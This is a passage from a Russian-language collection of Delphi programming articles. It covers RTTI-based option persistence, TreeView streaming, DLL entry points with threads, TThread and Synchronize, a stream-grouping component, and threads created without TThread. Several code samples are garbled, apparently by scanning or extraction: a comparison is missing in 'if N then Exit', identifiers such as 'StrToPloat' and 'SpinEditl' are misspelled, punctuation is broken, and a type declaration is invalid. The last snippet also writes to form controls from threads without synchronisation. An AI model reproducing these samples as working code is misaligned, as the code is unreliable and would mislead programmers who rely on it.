constructor Create(const FileName: string);
destructor Destroy; override;
end;
{$M-}
|
Класс TOptions является производным от TObject и по этому, что бы компилятор генерировал runtime информацию его надо объявлять директивами {$M+/-}. Декларация класса весьма проста и вызвать затруднений в понимании не должна. Теперь переходим к реализации методов.
constructor TOptions.Create(const FileName: string); begin FIniFile:=TIniFile.Create(FileName); ReadProps; end; destructor TOptions.Destroy; begin SaveProps; FIniFile.Free; inherited Destroy; end; |
Как видно реализация конструктора и деструктора тривиальна. В конструкторе мы создаем объект для работы с ini-файлом и организуем считывание свойств. В деструкторе мы в сохраняем значения свойств в файл и уничтожаем файловый объект. Всю нагрузку по реализации сохранения и считывания published-свойств несут методы SaveProps и ReadProps соответственно.
procedure TOptions.SaveProps;
var
I, N: Integer;
TypeData: PTypeData;
List: PPropList;
begin
TypeData:= GetTypeData(ClassInfo);
N:= TypeData.PropCount;
if N then
Exit;
GetMem(List, SizeOf(PPropInfo)*N);
try
GetPropInfos(ClassInfo,List);
for I:= 0 to N - 1 do
case List[I].PropType^.Kind of
tkEnumeration, tkInteger:
FIniFile.WriteInteger(Section, List[I]^.name,GetOrdProp(Self,List[I]));
tkFloat:
FIniFile.WriteFloat(Section, List[I]^.name, GetFloatProp(Self, List[I]));
tkString, tkLString, tkWString:
FIniFile.WriteString(Section, List[I]^.name, GetStrProp(Self, List[I]));
end;
finally
FreeMem(List,SizeOf(PPropInfo)*N);
end;
end;
procedure TOptions.ReadProps;
var
I, N: Integer;
TypeData: PTypeData;
List: PPropList;
AInt: Integer;
AFloat: Double;
AStr: string;
begin
TypeData:= GetTypeData(ClassInfo);
N:= TypeData.PropCount;
if N then
Exit;
GetMem(List, SizeOf(PPropInfo)*N);
try
GetPropInfos(ClassInfo, List);
for I:= 0 to N - 1 do
case List[I].PropType^.Kind of
tkEnumeration, tkInteger:
begin
AInt:= GetOrdProp(Self, List[I]);
AInt:= FIniFile.ReadInteger(Section, List[I]^.name, AInt);
SetOrdProp(Self, List[i], AInt);
end;
tkFloat:
begin
AFloat:=GetFloatProp(Self,List[i]);
AFloat:=FIniFile.ReadFloat(Section, List[I]^.name,AFloat);
SetFloatProp(Self,List[i],AFloat);
end;
tkString, tkLString, tkWString:
begin
AStr:= GetStrProp(Self,List[i]);
AStr:= FIniFile.ReadString(Section, List[I]^.name, AStr);
SetStrProp(Self,List[i], AStr);
end;
end;
finally
FreeMem(List,SizeOf(PPropInfo)*N);
end;
end;
function TOptions.Section: string;
begin
Result := ClassName;
end;
|
Теперь, для проверки работоспособности, и отладки объекта опций создадим новое приложение и подключим к нему модуль, в котором описан и реализован объект TOptions. Ниже приведен программный код, иллюстрирующий создание наследника от класса TOptions и его использования в главной (и единственной) форме нашего тестового приложения интерфейсная часть выглядит так:
TMainOpt = class(TOptions)
private
FText: string;
FHeight: Integer;
FTop: Integer;
FWidth: Integer;
FLeft: Integer;
procedure SetText(const Value: string);
procedure SetHeight(Value: Integer);
procedure SetLeft(Value: Integer);
procedure SetTop(Value: Integer);
procedure SetWidth(Value: Integer);
published
property Text: string read FText write SetText;
property Left: Integer read FLeft write SetLeft;
property Top: Integer read FTop write SetTop;
property Width: Integer read FWidth write SetWidth;
property Height: Integer read FHeight write SetHeight;
end;
TForm1 = class(TForm)
Edit1: TEdit;
procedure Edit1Change(Sender: TObject);
private
FMainOpt: TMainOpt;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
end;
|
А вот и реализация:
constructor TForm1.Create(AOwner: TComponent);
var
S: string;
begin
inherited Create(AOwner);
S := ChangeFileExt(Application.ExeName, '.ini');
FMainOpt := TMainOpt.Create(S);
Edit1.Text := FMainOpt.Text;
Left := FMainOpt.Left;
Top := FMainOpt.Top;
Width := FMainOpt.Width;
Height := FMainOpt.Height;
end;
destructor TForm1.Destroy;
begin
FMainOpt.Left := Left;
FMainOpt.Top := Top;
FMainOpt.Width := Width;
FMainOpt.Height := Height;
FMainOpt.Free;
inherited Destroy;
end;
{ TMainOpt }
procedure TMainOpt.SetText(const Value: string);
begin
FText := Value;
end;
procedure TForm1.Edit1Change(Sender: TObject);
begin
FMainOpt.Text := Edit1.Text;
end;
procedure TMainOpt.SetHeight(Value: Integer);
begin
FHeight := Value;
end;
procedure TMainOpt.SetLeft(Value: Integer);
begin
FLeft := Value;
end;
procedure TMainOpt.SetTop(Value: Integer);
begin
FTop := Value;
end;
procedure TMainOpt.SetWidth(Value: Integer);
begin
FWidth := Value;
end;
|
В заключение своей статьи хочу сказать, что RTTI является недокументированной возможностью Object Pascal и поэтому информации на эту тему в справочной системе и электронной документации весьма мало. Наиболее легкодоступный способ изучить более подробно эту фишку — просмотр и изучение исходного текста модуля TypInfo.
Поточность TreeView.
Автор: Mike Scott На пустой форме у меня располагается TTreeView. Затем я сохраняю это в файле, используя WriteComponent. Это работает как положено; я могу из DOS c помощью команды "type" посмотреть двоичный файл и увидеть его содержимое, типа строк TTreeView и имя объекта. По крайней мере файл записывается и создается впечатление его "наполненности". Затем я освобождаю компонент TTreeView, открываю поток, делаю ReadComponent и, затем, InsertControl. И получаю исключение "TreeView1 has no parent window" (TreeView1 не имеет родительского окна). Это происходит из-за того, что при установке определенных свойств TreeView требуется дескриптор окна элемента управления, а для этого необходимо иметь родителя. Решение заключается в создании пустого TreeView и передаче его в качестве параметра ReadComponent - вы наверняка меня спросите, почему ReadComponent необходим параметр, правильно? Смотрите дальше.Попробуйте этот код:
procedure TForm1.Button1Click(Sender: TObject);
var
TreeView: TTreeView ;
begin
with TFileStream.Create( 'JUNK.STR', fmCreate ) do
try
WriteComponent( TreeView1 ) ;
TreeView1.Name := 'TreeView' ;
Position := 0 ;
TreeView := TTreeView.Create( Self ) ;
TreeView.Visible := false ;
TreeView.Parent := Self ;
ReadComponent( TreeView ) ;
TreeView.Top := TreeView1.Top + TreeView1.Height + 10 ;
TreeView.Visible := true ;
finally
Free ;
end ;
end;
|
Потоки и DLL.
Автор: Charles Calvert Потоки и DLL-ки Приведенный ниже текст подразумевает, что вы обладаете базовыми знаниями о принципе работы потоков и умеете создавать DLL. Техническая сторона вопроса будет сфокусирована на потоках и функции DllEntryPoint. Функция DllEntryPoint не должна объявляться в ваших Delphi DLL. Фактически, большую часть, если не всю, Delphi DLL будет правильно работать и без вашего явного объявления DllEntryPoint. Тем не менее, я включил данный совет для тех Win32-программистов, которые понимают эту функцию и хотят связать с ней свое функциональное назначение, чтобы оно являлось частью DLL. Чтобы быть более конкрентым, это будет интересно тем программистам, которые хотят вызывать одну и ту же DLL из многочисленных потоков одной программы. Исходный код данного проекта находится на FTP компании Borland. Данный код также доступен на Compuserve в секции Borland в виде файла BI42.ZIP.При первом вызове DLL сначала выполняется секция инициализации, расположенная в нижней части кода. При загрузке двух модулей, каждый из которых использует DLL, секция инициализации будет вызвана дважды, для каждого модуля. Вот пример минимального кода Delphi DLL, который компилится, но пока ничего не делает:
library MyDll; // Здесь код // экспорта begin // Расположенный здесь код выполняется в первую // очередь при каждом вызове DLL любым exe-файлом. end. |
Для явной установки DLLEntryPoint в Delphi, используйте следующий код-скелет, имеющий преимущество перед переменной DLLProc, объявленной глобально в SYSTEM.PAS:
library DllEntry; procedure DLLEntryPoint(Reason: DWORD); begin // Здесь организуется блок Case для Dll_Process_Attach, и др. end; // Здесь реализация экспортируемых функций // экспорт begin if DllProc = nil then begin DllProc := @DLLEntryPoint; DllEntryPoint(Dll_Process_Attach); end; end. |
Данный код назначает объявленный пользователей метод с именем DLLEntryPoint объявленной глобально переменной Delphi с именем DllProc, в свою очередь объявленой в SYSTEM.PAS следующим образом:
var
DllProc: Pointer; { Вызывается каждый раз при вызове точки входа DLL }
|
Dll_Process_Attach - одна из четырех возможных констант, которые система можете передавать функции DllEntryPoint. Эти константы объявлены в WINDOWS.PAS следующим образом:
DLL_PROCESS_ATTACH = 1; // Программа подключается к DLL DLL_THREAD_ATTACH = 2; // Поток программы подключается к DLL DLL_THREAD_DETACH = 3; // Поток "оставляет" DLL DLL_PROCESS_DETACH = 0; // Exe "отсоединяется" от DLL |
Более детальная скелетная конструкция DllEntryPoint с использованием приведенных констант:
procedure DLLEntryPoint(Reason: DWORD); begin case Reason of Dll_Process_Attach: MessageBox(DLLHandle, 'Подключение процесса', 'Инфо', mb_Ok); Dll_Thread_Attach: MessageBox(DLLHandle, 'Подключение потока', 'Инфо', mb_Ok); Dll_Thread_Detach: MessageBox(DLLHandle, 'Отключение потока', 'Инфо', mb_Ok); Dll_Process_Detach: MessageBox(DLLHandle, 'Отключение процесса', 'Инфо', mb_Ok); end; // case end; |
Приведенный ниже небольшой фрагмент кода достоин занять место в программе, вызывающей DLL. Он показывает как можно объявить функцию, экспортируемую из DLL, и как вызвать эту функцию из потока. Конечно, обычно нет необходимости вызывать функцию DLL из потока, я делаю это просто для того, чтобы показать функциональное назначение, связанное с обсуждаемыми выше константами Dll_Thread_Attach и Dll_Thread_Detach.
function MyFunc: ShortString;
external 'DLLENTRY1' name 'MyFunc';
procedure ThreadFunc(P: Pointer); stdcall;
var
S: array[0..255] of Char;
begin
StrPCopy(S, MyFunc);
MessageBox(Form1.Handle, S, 'Инфо', mb_Ok);
end;
procedure TForm1.UseThreadClick(Sender: TObject);
var
ThreadID: DWORD;
HThread: THandle;
begin
HThread := CreateThread(nil, 0, @ThreadFunc,
nil, 0, ThreadID);
if HThread = 0 then ShowMessage('Нет потоков');
end;
|
Вот декларация CreateThread:
var DWORD = Integer; function CreateThread( lpThreadAttributes: Pointer; // атрибуты безопасности потока dwStackSize: DWORD; // размер стека для потока lpStartAddress: TFNThreadStartRoutine; // функция потока lpParameter: Pointer; // аргумент для нового потока dwCreationFlags: DWORD; // флаги создания var lpThreadId: DWORD): // Возвращаемый идентификатор потока THandle; // Возвращаемый дескриптор потока |
Если вы создали программу с потоковой функцией как было показано выше, и создали DLL с функцией DLLEntryPoint, тоже показанной выше, то можно получить визуальное подтверждение того, как работает функция DLLEntryPoint. Поясняю: когда ваша программа загружается в память, DLL также должна быть автоматически загружена, тем самым вызывая MessageBox с текстом `Процесс подключен'. Диалоги появляются в зависимости от причины (Reason) вызова функции DllEntryPoint:
procedure DLLEntryPoint(Reason: DWORD); begin case Reason of Dll_Process_Attach: MessageBox(DLLHandle, 'Процесс подключен', 'Инфо', mb_Ok); Dll_Thread_Attach: MessageBox(DLLHandle, 'Поток подключен', 'Инфо', mb_Ok); Dll_Thread_Detach: MessageBox(DLLHandle, 'Поток отключен', 'Инфо', mb_Ok); Dll_Process_Detach: MessageBox(DLLHandle, 'Процесс отключен', 'Инфо', mb_Ok); end; // case end; |
Довольно сложно иллюстрировать технические возможности Delphi. Не все программисты Delphi захотят так глубоко вникать в дебри Windows API. Тем не менее, те, которые хотят воспользоваться мощью Windows 95 и Windows NT на полную катушку, могут видеть, что все современные технологии доступны всем без исключения программистам на Delphi. Приведенный выше пример доступен в Compuserve в виде файла DLLENT.ZIP и также размещен на Интернет-сервере Borland по адресу www.borland.com.
Особенности разработки потоков.
Современные операционные системы Windows 32 обеспечивают не только многозадачность, т. е. возможность параллельной работы нескольких программ, но и многопоточность, когда в рамках одной программы организуется несколько параллельно выполняемых фрагментов (потоков), каждый из которых конкурирует с другими потоками за наиболее важный ресурс - время центрального процессора. В многопоточном режиме время ЦП выделяется для каждого процесса небольшими порциями (квантами), по истечении этого времени управление передается другому потоку и т. д. до тех пор, пока потоки не закончат свою работу. В любой работающей программе организуется как минимум один поток для команд программы. С помощью объектов класса TThread программа может создать дополнительные потоки для проведения некоторой фоновой работы (например, текстовый процессор Word создает дополнительные потоки для проверки правильности орфографии, разбивки на страницы, печати документа и т. п.). Для создания дополнительного потока в программах Delphi предназначен специальный модуль потока в репозитории он обозначен пиктограммой Thread Obiecll). При выборе этого модуля Delphi запрашивает имя класса, который будет дочерним для основополагающего класса TThread. Необходимость наследования связана с тем, что класс TThread содержит абстрактный метод Execute, который, собственно, и должен исполняться в рамках нового потока и который, следовательно, обязан перекрываться в потомках. После указания имени дочернего класса Delphi раскрывает дополнительный модуль с обширным комментарием и заготовкой для дочернего класса.Например (с соответствующим переводом):
unit Unit1;
interface
uses
Classes;
type
MyThread = class(TThread)
private
{ Private declarations }
protected
procedure Execute; override;
end;
implementation
{ Важно: Методы и свойства объектов из библиотеки визуальных компонентов
могут использоваться только в рамках вызова метода Synchronize, например:
Synchronize(UpdateCaption);
где метод UpdateCaption должен быть подобен такому
procedure MyThread.UpdateCaption;
begin
Formi.Caption := 'Новый текст метки';
end; }
(MyThread}
procedure MyThread.Execute;
begin
{ Пожалуйста, поместите код потока в этом месте }
end;
end.
Программирование потока ничем не отличается от программирования обычной программы за одним важным исключением: поток не должен использовать методы и свойства визуальных компонен тов, которые приводят к изменению внешнего вида программа Точнее, он может это делать только при обращении к специальному методу synchronize, с помощью которого осуществляется синхронизация исполнения главного потока программы с дополнительным потоком.
Для иллюстрации приемов работы с потоком создадим программу, которая будет непрерывно обновлять содержимое многострочного редактора и при этом осуществлять математические вычисления.
Для ее создания сначала на пустую форму поместите панель TPpanel, очистите ее свойство caption и поместите в Align значение а1Right - эта панель предназначена для размещения редактора TSpinEdit, кнопки TButton и индикатора TGauge и всегда должна располагаться в правой части окна программы. Поместите на панель перечисленные компоненты так, как это показано на рисунке (компоненты TSpinEdit и TGuage находятся на странице samples палитры компонентов).
Установите в свойство SpinEditl.Value 3начение 2, присвойте свойству Gaugel. Kind значение gkPie, Gaugel. BorderStyle-bsNone и Button1.Caption — 'Квадрат'.
На свободное место формы положите компонент TMemo и установите для него в свойство Align значение а1С1iеnt, а свойство Name- 'mmOutput'.
Теперь создадим обработчик события Button1.Click: при нажатии на кнопку вначале содержимое редактора SpinEdit1 возводится в квадрат до тех пор, пока отображаемое в нем значение не слишком большим (больше 10 +1233 ). В этот момент надпись на кнопке меняется на “корень”, а нажатие на нее вычисляет корень квадратный ИЗ величины SpinEdit1.
Дважды щелкните по кнопке Button1и напишите такой код:
procedure TForm1.Button1Click(Sender: TObject);
begin
if Tag = 0 then
begin
SpinEditl.Text := Float - ToStr(sqr(StrToPloat(SpinEditl.Text)));
if StrToFloat(SpinEditl.Text) > 1 el233 then
begin
Tag := 1;
Buttoni.Caption := 'Корень'
end
end
else
begin
SpinEditl.Text := FloatToStr(sqrt(StrToFloat(SpinEditl.Text)));
if StrToFloat(SpinEditl.Text) < 2 then
begin
SpinEditl.Value := 2;
Tag := 0;
Button1.Caption := 'Квадрат'
end
end
end;
Таким образом, главный код программы связан с извлечением корня или возведением в квадрат величины, записанной в редакторе SpinEditl.
Теперь создадим модуль потока, в методе Execute которого будем непрерывно формировать по 100 строк в редакторе mmOutput и показывать процент заполнения редактора с помощью индикатора Gaugel.
Выберите пиктограмму модуля потока в окне репозитория Delphi и дайте наследнику класса Thread имя ThreadDemo. Окончательный текст модуля потока представлен ниже.
unit Unit2;
interface
uses
Classes;
type
ThreadDemo = class(TThread)
private
{ Private declarations }
protected
S: string;
N: Integer;
procedure UpdateMemo;
procedure UpdateGauge;
procedure Execute; override;
end;
var
TDemo: ThreadDemo;
implementation
uses Uniti, SysUtils;
{ Important: Methods and properties of objects in VCL can only re used.
in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure ThreadDemo.UpdateCaption;
begin
Formi.Caption := 'Updated in a thread';
end;
ThreadDemo}
procedure ThreadDemo.Execute;
var
j, k: Integer;
begin
repeat
S := '';
Synchronize(UpdateMemo);
for k := 0 to 99 do
begin N := k;
S: = ' ';
for j := 1 to 20 do
S := S + FormatFloat('00', k), Synchronize(UpdateMemo);
Synchronize(UpdateGauge)
end;
until False
end;
procedure ThreadDemo.UpdateMemo;
begin
with .Form1.mmOutput.Lines do
if S = ' ' then
Clear else
Add(S)
end;
procedure ThreadDemo.UpdateGauge;
begin
Form1.Gaugel.Progress := N
end;
end.
Если вы запустите таким способом подготовленную программу, то ничего не произойдет - ведь мы еще не запустили поток. Чтобы сделать это, добавьте в модуле Unit1 главной формы ссылку uses Unit1, раскройте в окне Инспектора объектов список компонентов, выберите компонент Form1 и на его странице Event дважды щелкните по свойству onActivate, чтобы создать такой обработчик этого события:
procedure TForm1.FormActivate(Sender: TObject); begin TDemo := ThreadDemo.Create(False), end;Вот так просто запускается дополнительный поток - мы инициируем объект TDemo, передавая в его Консруктор ThreadDemo.Create единственный параметр False (этот параметр показывает, должен ли вновь созданный поток “спать” - True или он обязан немедленно начать работу - False). Программа в любой момент может приостановить работу потока, присвоив его свойству suspended значение True, и продолжить его выполнение, присвоив этому свойству значение False. Обратите внимание - метод Execute потока вынесен в секцию protected и поэтому недоступен из основного модуля. Выполнение этого метода начинается автоматически, как только свойство suspended примет значение False.
Для обращения к свойствам и методам визуальных компонентов формы Form1 предназначен специальный метод потока Synchronize. Единственным параметром обращения к этому методу должно быть имя любой потоковой процедуры без параметров. Внутри такой процедуры разрешается обращаться к методам и свойствам визуальных компонентов. В нашем потоке две такие процедуры - UрdаtеМеmо и updateGuage. В первой строка s добавляется к содержимому редактора mmoutput, во втором - глобальная переменная n присваивается свойству progress индикатора Gauge1. Поскольку эти процедуры не могут иметь параметров, для управления их работой приходится использовать глобальные переменные S и N.
Пример работы с потоками.
Автор: Xavier Pacheco
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Menus, Dialogs;
type
TMainForm = class(TForm)
MainMenu1: TMainMenu;
Options1: TMenuItem;
AddThread: TMenuItem;
RemoveThread: TMenuItem;
ColorDialog1: TColorDialog;
Add10: TMenuItem;
RemoveAll: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure AddThreadClick(Sender: TObject);
procedure RemoveThreadClick(Sender: TObject);
procedure Add10Click(Sender: TObject);
procedure RemoveAllClick(Sender: TObject);
private
ThreadList: TList;
public
{ Public declarations }
end;
TDrawThread = class(TThread)
private
FColor: TColor;
FForm: TForm;
public
constructor Create(AForm: TForm; AColor: TColor);
procedure Execute; override;
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
{ TDrawThread }
constructor TDrawThread.Create(AForm: TForm; AColor: TColor);
begin
FColor := AColor;
FForm := AForm;
inherited Create(False);
end;
procedure TDrawThread.Execute;
var
P1, P2: TPoint;
procedure GetRandCoords;
var
MaxX, MaxY: Integer;
begin
// initialize P1 and P2 to random points within Form bounds
MaxX := FForm.ClientWidth;
MaxY := FForm.ClientHeight;
P1.x := Random(MaxX);
P2.x := Random(MaxX);
P1.y := Random(MaxY);
P2.y := Random(MaxY);
end;
begin
FreeOnTerminate := True;
// thread runs until it or the application is terminated
while not (Terminated or Application.Terminated) do
begin
GetRandCoords; // initialize P1 and P2
with FForm.Canvas do
begin
Lock; // lock canvas
// only one thread at a time can execute the following code:
Pen.Color := FColor; // set pen color
MoveTo(P1.X, P1.Y); // move to canvas position P1
LineTo(P2.X, P2.Y); // draw a line to position P2
// after the next line executes, another thread will be allowed
// to enter the above code block
Unlock; // unlock canvas
end;
end;
end;
{ TMainForm }
procedure TMainForm.FormCreate(Sender: TObject);
begin
ThreadList := TList.Create;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
RemoveAllClick(nil);
ThreadList.Free;
end;
procedure TMainForm.AddThreadClick(Sender: TObject);
begin
// add a new thread to the list... allow user to choose color
if ColorDialog1.Execute then
ThreadList.Add(TDrawThread.Create(Self, ColorDialog1.Color));
end;
procedure TMainForm.RemoveThreadClick(Sender: TObject);
begin
// terminate the last thread in the list and remove it from list
TDrawThread(ThreadList[ThreadList.Count - 1]).Terminate;
ThreadList.Delete(ThreadList.Count - 1);
end;
procedure TMainForm.Add10Click(Sender: TObject);
var
i: Integer;
begin
// create 10 threads, each with a random color
for i := 1 to 10 do
ThreadList.Add(TDrawThread.Create(Self, Random(MaxInt)));
end;
procedure TMainForm.RemoveAllClick(Sender: TObject);
var
i: Integer;
begin
Cursor := crHourGlass;
try
for i := ThreadList.Count - 1 downto 0 do
begin
TDrawThread(ThreadList[i]).Terminate; // terminate thread
TDrawThread(ThreadList[i]).WaitFor; // make sure thread terminates
end;
ThreadList.Clear;
finally
Cursor := crDefault;
end;
end;
initialization
Randomize; // seed random number generator
end.
Группировка и разгруппировка потоков.
Автор: Delirium WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Группировка/разгруппировка потоков
При написании распределённых приложений, зачастую возникает проблема
в хранении и передаче по сети разнородных данных. Данный класс представляет
собой поток (TStream) позволяющий включать в себя множество других потоков.
Таким образом становится возможным накопить в одном блоке множество
разных данных и управлять ими как единым целым. Дополнительное удобство -
механизм, совмещающий _RecordSet (ADODB) и TStream.
Зависимости: SysUtils, Classes, ADODB, ADOInt, ComObj, Variants
Автор: Delirium, Master_BRAIN@beep.ru, ICQ:118395746, Москва
Copyright: Delirium (Master BRAIN)
Дата: 6 декабря 2002 г.
***************************************************** }
unit StreamDirector;
interface
uses
SysUtils, Classes, ADODB, ADOInt, ComObj, Variants;
const
NamesSize = 128;
ErrorStreamIndex = 4294967295;
type
// Элемент группы
TStreamDescriptor = record
Name: string[NamesSize];
Value: TMemoryStream;
end;
// Компонент StreamDirector
TStreamDirector = class;
TStreamDirector = class(TComponent)
private
FDes: array of TStreamDescriptor;
protected
function GetStream(AIndex: Cardinal): TStreamDescriptor;
procedure SetStream(AIndex: Cardinal; const Value: TStreamDescriptor);
function GetCount: Cardinal;
procedure SetCount(ACount: Cardinal);
function GetDStream: TMemoryStream;
procedure SetDStream(Value: TMemoryStream);
public
constructor Create(Owner: TComponent); override;
destructor Destroy; override;
// Добавить поток в группу потоков
procedure AddFromStream(AName: string; AStream: TStream);
// Добавить файл в группу потоков
procedure AddFromFile(AName, AFileName: string);
// Добавить текст в группу потоков
procedure AddFromStrings(AName: string; AStrings: TStrings);
// Получить текст из группы потоков
function GetStrings(AIndex: Cardinal): TStrings;
// Добавить _RecordSet в группу потоков
procedure AddFromRecordSet(AName: string; ARecordSet: _RecordSet);
// Получить _RecordSet из группы потоков
function GetRecordSet(AIndex: Cardinal): _RecordSet;
// Найти иденитфикатор по имени, если не найден - ErrorStreamIndex
function IndexOfStreamName(AName: string): Cardinal;
// Загрузить поток с группой из файла
procedure DirectLoadFromFile(AFileName: string);
// Получить поток элемента группы
property Streams[AIndex: Cardinal]: TStreamDescriptor read GetStream write
SetStream;
// Кол-во элементов в группе
property StreamCount: Cardinal read GetCount write SetCount;
// Получить поток, содержащий группу
property DirectStream: TMemoryStream read GetDStream write SetDStream;
published
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Master Components', [TStreamDirector]);
end;
constructor TStreamDirector.Create(Owner: TComponent);
begin
inherited Create(Owner);
SetLength(FDes, 0);
end;
destructor TStreamDirector.Destroy;
var
i: Cardinal;
begin
if StreamCount > 0 then
for i := 0 to StreamCount - 1 do
if Streams[i].Value <> nil then
Streams[i].Value.Destroy;
inherited Destroy;
end;
function TStreamDirector.GetStream(AIndex: Cardinal): TStreamDescriptor;
begin
Result.Name := '';
Result.Value := nil;
if AIndex < StreamCount then
begin
Result.Name := FDes[AIndex].Name;
Result.Value := FDes[AIndex].Value;
if Result.Value <> nil then
Result.Value.Position := 0;
end;
end;
procedure TStreamDirector.SetStream(AIndex: Cardinal; const Value:
TStreamDescriptor);
begin
if AIndex < StreamCount then
begin
FDes[AIndex].Name := FDes[AIndex].Name;
FDes[AIndex].Value := FDes[AIndex].Value;
end;
end;
function TStreamDirector.GetCount: Cardinal;
begin
Result := Length(FDes);
end;
procedure TStreamDirector.SetCount(ACount: Cardinal);
var
i, n: Cardinal;
tmp: TStreamDescriptor;
begin
n := StreamCount;
if ACount < n then
begin
for i := ACount - 1 to n - 1 do
if Streams[i].Value <> nil then
Streams[i].Value.Free;
SetLength(FDes, ACount);
end
else
begin
SetLength(FDes, ACount);
tmp.Name := '';
tmp.Value := nil;
for i := n - 1 to ACount - 1 do
Streams[i] := tmp;
end;
end;
procedure TStreamDirector.AddFromStream(AName: string; AStream: TStream);
begin
StreamCount := StreamCount + 1;
FDes[StreamCount - 1].Name := AName;
FDes[StreamCount - 1].Value := TMemoryStream.Create;
TMemoryStream(FDes[StreamCount - 1].Value).LoadFromStream(AStream);
FDes[StreamCount - 1].Value.Position := 0;
end;
procedure TStreamDirector.AddFromFile(AName, AFileName: string);
begin
StreamCount := StreamCount + 1;
FDes[StreamCount - 1].Name := AName;
FDes[StreamCount - 1].Value := TMemoryStream.Create;
TMemoryStream(FDes[StreamCount - 1].Value).LoadFromFile(AFileName);
FDes[StreamCount - 1].Value.Position := 0;
end;
procedure TStreamDirector.AddFromStrings(AName: string; AStrings: TStrings);
begin
StreamCount := StreamCount + 1;
FDes[StreamCount - 1].Name := AName;
FDes[StreamCount - 1].Value := TMemoryStream.Create;
AStrings.SaveToStream(FDes[StreamCount - 1].Value);
FDes[StreamCount - 1].Value.Position := 0;
end;
function TStreamDirector.GetStrings(AIndex: Cardinal): TStrings;
begin
Result := TStringList.Create;
Result.LoadFromStream(Streams[AIndex].Value);
end;
procedure TStreamDirector.AddFromRecordSet(AName: string; ARecordSet:
_RecordSet);
var
adoStream: OleVariant;
St: TStrings;
begin
// Сначала ADODB.RecordSet -> ADODB.Stream через XML
adoStream := CreateOLEObject('ADODB.Stream');
Variant(ARecordSet).Save(adoStream, adPersistXML);
// Теперь XML -> TStrings
St := TStringList.Create;
St.Text := adoStream.ReadText(adoStream.Size);
// Ну а теперь всё просто
AddFromStrings(AName, St);
// Чищу память
St.Free;
adoStream := UnAssigned;
end;
function TStreamDirector.GetRecordSet(AIndex: Cardinal): _RecordSet;
var
adoStream: OleVariant;
St: TStrings;
begin
// Получаю TStrings из потока
St := GetStrings(AIndex);
// Помещаю XML из TStrings в ADODB.Stream
adoStream := CreateOLEObject('ADODB.Stream');
adoStream.Open;
adoStream.WriteText(St.Text);
adoStream.Position := 0;
// Создаю RecordSet, заполняю его из ADODB.Stream
Result := CreateOLEObject('ADODB.RecordSet') as _RecordSet;
Result.CursorLocation := adUseClient;
Result.Open(adoStream, EmptyParam, adOpenStatic, adLockOptimistic,
adOptionUnspecified);
// Чищу память
adoStream := UnAssigned;
St.Free;
end;
type
TWriteDirector = record
Name: string[NamesSize];
Size: Cardinal;
end;
function TStreamDirector.GetDStream: TMemoryStream;
var
i, j: Cardinal;
WD: TWriteDirector;
begin
// С пустым работать не буду
Result := nil;
if StreamCount = 0 then
exit;
// Не пустой
Result := TMemoryStream.Create;
// Кол-во потоков
i := StreamCount;
Result.Write(i, SizeOf(i));
// Названия и размеры
for i := 0 to StreamCount - 1 do
begin
// Вычищаю мусор из названий
SetLength(WD.Name, NamesSize);
for j := 1 to NamesSize do
WD.Name[j] := ' ';
// Пишу дескрипторы
WD.Name := Streams[i].Name;
if Streams[i].Value <> nil then
WD.Size := Streams[i].Value.Size
else
WD.Size := 0;
Result.Write(WD, SizeOf(WD));
end;
// Значения
for i := 0 to StreamCount - 1 do
if Streams[i].Value <> nil then
begin
Streams[i].Value.Position := 0;
Result.CopyFrom(Streams[i].Value, Streams[i].Value.Size);
end;
// Ok
Result.Position := 0;
end;
procedure TStreamDirector.SetDStream(Value: TMemoryStream);
var
i, n: Cardinal;
WDs: array of TWriteDirector;
SD: TStreamDescriptor;
begin
Value.Position := 0;
// Кол-во потоков
Value.Read(n, SizeOf(n));
SetLength(WDs, n);
SetLength(FDes, n);
// Названия и размеры
for i := 0 to StreamCount - 1 do
begin
Value.Read(WDs[i], SizeOf(WDs[i]));
FDes[i].Name := WDs[i].Name;
end;
// Значения
for i := 0 to StreamCount - 1 do
begin
SD.Name := FDes[i].Name;
SD.Value := TMemoryStream.Create;
SD.Value.CopyFrom(Value, WDs[i].Size);
FDes[i] := SD;
FDes[i].Value.Position := 0;
end;
end;
function TStreamDirector.IndexOfStreamName(AName: string): Cardinal;
var
i: Cardinal;
begin
Result := ErrorStreamIndex;
for i := StreamCount - 1 downto 0 do
if AnsiUpperCase(AName) = AnsiUpperCase(FDes[i].Name) then
Result := i;
end;
procedure TStreamDirector.DirectLoadFromFile(AFileName: string);
var
tmp: TMemoryStream;
begin
tmp := TMemoryStream.Create;
tmp.LoadFromFile(AFileName);
DirectStream := tmp;
tmp.Destroy;
end;
end.
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
StreamDirector1.AddFromRecordSet('RecordSet1', ADOQuery1.Recordset);
StreamDirector1.DirectStream.SaveToFile('c:\test');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
StreamDirector1.DirectLoadFromFile('c:\test');
ADOQuery2.Recordset :=
StreamDirector1.GetRecordSet(StreamDirector1.IndexOfStreamName('RecordSet1'));
end;
Как создавать потоки без класса TThread.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
procedure incedit1; stdcall;
procedure incedit2; stdcall;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Button6: TButton;
Button7: TButton;
Button2: TButton;
Button3: TButton;
Button5: TButton;
Button4: TButton;
procedure Button1Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
var
th1, th2: cardinal;
h1, h2: integer;
procedure incedit1;
var
i: integer;
begin
i := 0;
while true do
begin
form1.edit1.text := inttostr(i);
i := i + 1;
end;
end;
procedure incedit2;
var
i: integer;
begin
i := 0;
while true do
begin
form1.edit2.text := inttostr(i);
i := i + 1;
end;
end;
{$R *.DFM}
